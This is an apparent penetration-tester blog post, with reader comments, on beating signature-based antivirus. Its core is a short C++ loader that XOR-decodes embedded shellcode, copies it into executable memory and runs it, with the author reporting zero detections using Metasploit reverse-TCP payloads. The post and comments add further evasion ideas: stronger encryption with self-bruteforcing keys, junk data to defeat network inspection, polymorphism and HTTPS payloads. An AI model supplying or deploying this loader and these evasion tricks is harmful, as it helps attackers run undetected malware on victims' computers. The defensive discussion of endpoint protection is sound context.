Bypassing Antivirus With Ten Lines of Code or (Yet Again) Why Antivirus is Largely Useless

I had originally set out to write a long winded blog post on different antivirus bypass techniques. I went through what was supposed to be step 1 of my guide and uploaded my binary to virustotal… and the binary got a 0/56 detection rate. I then decided to throw out my long winded idea and move forward with this quick and dirty blog post.

I believe that most of my readers would agree that bypassing most antivirus based solutions is not that hard, however we don’t all have the same skillsets; some of us have been at this longer than others. I occasionally bump in to some folks who solely rely on tools that generate binaries for them. These can be easily fingerprinted and flagged by antivirus solutions if the tooling becoems popular enough. This article is mainly intended to help those that haven’t considered writing their own AV bypasses.

Before I dive in to this small tidbit of C++ code, I’d like to touch on a tool that is really good at producing binaries that almost always evade detection, Veil-Evasion (part of the Veil-Framework). This tool is awesome (many thanks to @harmj0y and others for creating and contributing to this awesome project) and in almost all instances I have had to use it has not let me down. If it has, I blame people who keep generating binaries and then testing them on virustotal. Please stop doing that.

At any rate, if tools like Veil Evasion are so epic, why should you care about knowing how to slap togother a binary with a shellcode payload yourself? Well there are a number of reasons:

  • People get busy and tools become deprecated
  • The binaries generated by tools become fingerprintable; not the payload necessarily, but the compiled structure of the binary.
  • As a penetration tester, it is a good skill to learn how to write, at least, basic AV bypasses. Ups your leet cred.. or so I hear.
Before you take a look at the below code, it’s worth noting that this is targeting the windows platform; Note the reference to windows.h

#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
The above code creates a character array with shell code you can add, performs an XOR operation with the incredibly sophisticated key of lowercase ‘x’, allocates some memory, copies the character array in said allocated memory, and executes it. It may be worth highlighting that you will need to XOR your shellcode with your key of choosing (in this case ‘x’) before you put it in the above code and compile.

So you are probably looking at that and thinking ‘really?’ – I know how you feel. This is how I felt after I intended this to be step 1 of my tutorial. I’d like to stress that this is an incredible simple and most basic technique, yet its success is still rather surprising.

I originally wrote this example and tested it on virus total a while ago, but I did reanalyze the executable on virustotal at the time of publishing this post and found it still had a 0 detection rate.

The binary you generate will very likely not match the SHA256 of the binary I have tested; the binary I uploaded contained shellcode generated with the metasploit framework.

Final Comments

Alright, so traditional antivirus is dead. That being said, we can’t argue that over 95% of organizations are still depending on antivirus to protect endpoints. 
Is there a better way? certainly. A number of vendors have launched products that take a new approach to protecting endpoints primarily focusing on identification of known exploit techniques by way of DLL injection, allowing for monitoring of known techniques and execution prevention. 
Is this fool proof technique? No. The bar will be raised, but a new type of cat and mouse game will begin.

Final note: The above may not work on _all_ antivirus solutions. I had thought that was implicit, but thought I would mention it before the pitch forks come after me!

Edit (3/17/2016): Wow. This post blew up a lot more than I intended it to. Please bear in mind that this article was targeted at penetration testers. The goal was to demonstrate an extremely simplistic signature based AV bypass technique. I didn’t point out ‘signature’ as I assumed it was obvious that heuristics capabilities would very likely pick this up – although it really depends on your payload more than anything else. I don’t advocate using this technique over infinitely more sophisticated implementations that can be found in Veil-Framework or Shellter. Think of the above code as a template – get creative – make the encoding routing more complicated – maybe implement encryption with key bruteforcing? then maybe add some prime number generation at the get go to throw off heuristics if you want to be fancy. Use payloads that communicate over HTTPS as well. Sky’s the limit right?.

53 thoughts on “Bypassing Antivirus With Ten Lines of Code or (Yet Again) Why Antivirus is Largely Useless

  1. So the shellcode you place in there must be pre xor'ed with 'x' so that the code xor's it back to usable shellcode right? Another obvious question, was the shellcode detectable before you simply xor'ed it?

  2. Yes, absolutely. The shellcode must be pre XORd with the desired key. And yes, the shellcode I used was a standard meterpreter shellcode for reverse TCP that was not encoded with anything fancy. It was detected by almost all AV on virustotal.

  3. The other vendor you talk about that does DLL injection -TRAPS… It only works on .pdf and MS office filetypes. That's it! A straight up .exe will pop on their endpoint just the way you created this one.

  4. It's these little moments that have convinced me that, as the Symantec exec said famously, A/V is thoroughly dead. When the silliest things work, you know that the barrier of entry is low enough that anyone can get in.

    My favorite one is some of these network threat protection features that watch network connections and do some "layer 7 analysis". Send a payload, it kills the socket when it detects a meterpreter. So I made a shim and custom stager that sends over 64k of random garbage, and then sends the meterpreter payload. A/V gets tired easily, and gives up every time.

    A simple XOR is terrible crypto, but it's "good enough" because A/V isn't going to try all XORs on every substring of every EXE to match signatures. And even if it did, then do a two-byte XOR, etc. The first rule of A/V bypass is to do something that you know A/V isn't willing to do.

  5. That's pretty bad but since AV are signatures based this isn't totally unexpected (hence your research) but using a behavior based detection like sandboxing or auditing this should be obvious, right ? Any recommendations on a se-linux like level of audit for windows systems?

  6. That is one of them – but so is (for example) EMET and it works on binaries. 🙂 I'm not sure if that solution does more than pdf and office filetypes, but I believe that it does.

  7. So the antivirus could not find anymore the payload because you encrypted it.

    Maybe I am being silly, but it seems reasonable to me: Trying to do static anlysis of C code to identify all the possible custom encryption mechanisms seems a hard problem.

  8. One argument for why keep A/V around is that in real-world day-to-day operations in an organization you still get many hits on your end-point devices from people who have tried to execute obvious and well known malware.

    So your less savvy users tend to get some help from the A/V even though they should have caught the obvious in the first place.

  9. So if it's really that easy to fool an antivirus, why all the malware makers aren't applying your tecnique and get always zero detection?

  10. Thank you for this article. I managed to get a standard metasploit shellcode loaded and executed with the little piece of C code you provided but I had to remove the XOR decoding piece. The reason is: how do you xor encode with a key of your choice a shellcode ?

    I couldn't find a way to do it with msfvenom or Veil-Ordnance…

  11. Has not been ignored friend. 🙂 I've been busy. The article was aimed at intro to AV bypass, focusing on signature detection. Bypassing AV armed with heuristics would not be as trivial, obviously. That being said, it's not that much harder. Maybe I'll address in another blog post in the future. 🙂

  12. Yes but the point is that AV are useless. It's like having a heavily reinforced steel door as protection of which you can simply walk around to get in.

  13. Why not, then, have multiple (or hundreds) of versions, or make it polymorphic? Cracking XOR "encryption" is fast, simple give it a random, short key that has to be cracked.

    AV engines will either have to spend as much time as you cracking the "encryption" on every single file, or have hundreds? thousands? of signatures just for your malware.

  14. This was intended to show a very simple and fundamental approach. You could absolutely implement AES, encrypt the shellcode with a simple key and then embed a decryption routine within the binary that just brute forces itself. This, in my testing, has been effective against a number of heuristics based AV engines.

  15. Because once it starts to spread the A/V providers will catch wind of the new binary and then get the XOR'd binary's signature. Most companies have their A/V updated every few hours so within a day or so A/V will catch the binary. Thus begins a cat and mouse game of how fast can folks provide malware and how fast can A/V catch it.

    This'll work for directed attacks but not really for hit as many hosts in the world as you can.

  16. Good grief…listen to all haters. I do this for a living and I can assure you that if it passes virus total, it will bypass whatever AV the target company has in place. Exception: app white listing in the case of exe's but that isn't hard to get around

  17. Traps works on binaries for exploit detection, I'm currently doing deployments and testing and can vouch for this. Wildfire analyses unknown binaries and can be they can be blocked by default until a verdict is given.

  18. > If it has, I blame people who keep generating binaries and then testing them on virustotal.

    Don't you think it's more likely that maybe the guys at VirusTotal are capable of doing this themselves, and at a much larger scale? 😉

  19. No surprise. This isn't a technique that will work forever. That being said, trivial modifications to the above code would get it back down again (with sig based AV).

  20. Thank's for this short & interesting article.
    I'm may be overestimating A/V but: Is they any chance that an A/V performing some real-time analysis could detect the "deciphered/clear" payload in memory (during memcpy or while calling "exec") ?


  21. Hay Josh, That sound sick. Is there any way if you could explain or demonstrate using an example? Really wanna try this.

  22. Hi, I am wondering why your file was not picked up by Virustotal after a week or so went by? I thought files were checked by the AV companies or something similar? So I am assuming that I am wrong but idk. Please reply, thanks.

  23. Actually, most malware makers are making a shift towards generation time fuds anyways. That's why there's a push for better heuristics from anti-virus/anti-malware tools.

    PS: generation-time fuds are almost a requirement now, but aren't reasonably considered fully undetectable (fud). It's possible to catch them. But runtime fud applications will be the best big push. Very few malware authors are doing this these days. Short and sweet, wrapper can be whatever -> code to run is generated at run time -> runtime code is unique to the generation. This is the real fud.

    Also, don't tell people who buy malware commercially of this problem. They might realize they're being scammed with "___ RAT COMES WITH REAL FUD OPTIONS!"-type offers.

  24. I checked this sha on Virus total and it appears to be a 64-bit binary.
    The low detection rate is there most probably thanks to this fact and not because of this old technique.
    You should have mentioned that in your article… ;0)

  25. You're assuming the end point is on the network with Wildfire. What happens if it's a laptop off network? Also, my issue with Wildfire AND Traps is that their vendor recommends you do application white-listing for it to work. I've been popping boxes left and right with Traps running, using basic Metasploit binaries. No detection. :-/

Leave a Reply

Your email address will not be published. Required fields are marked *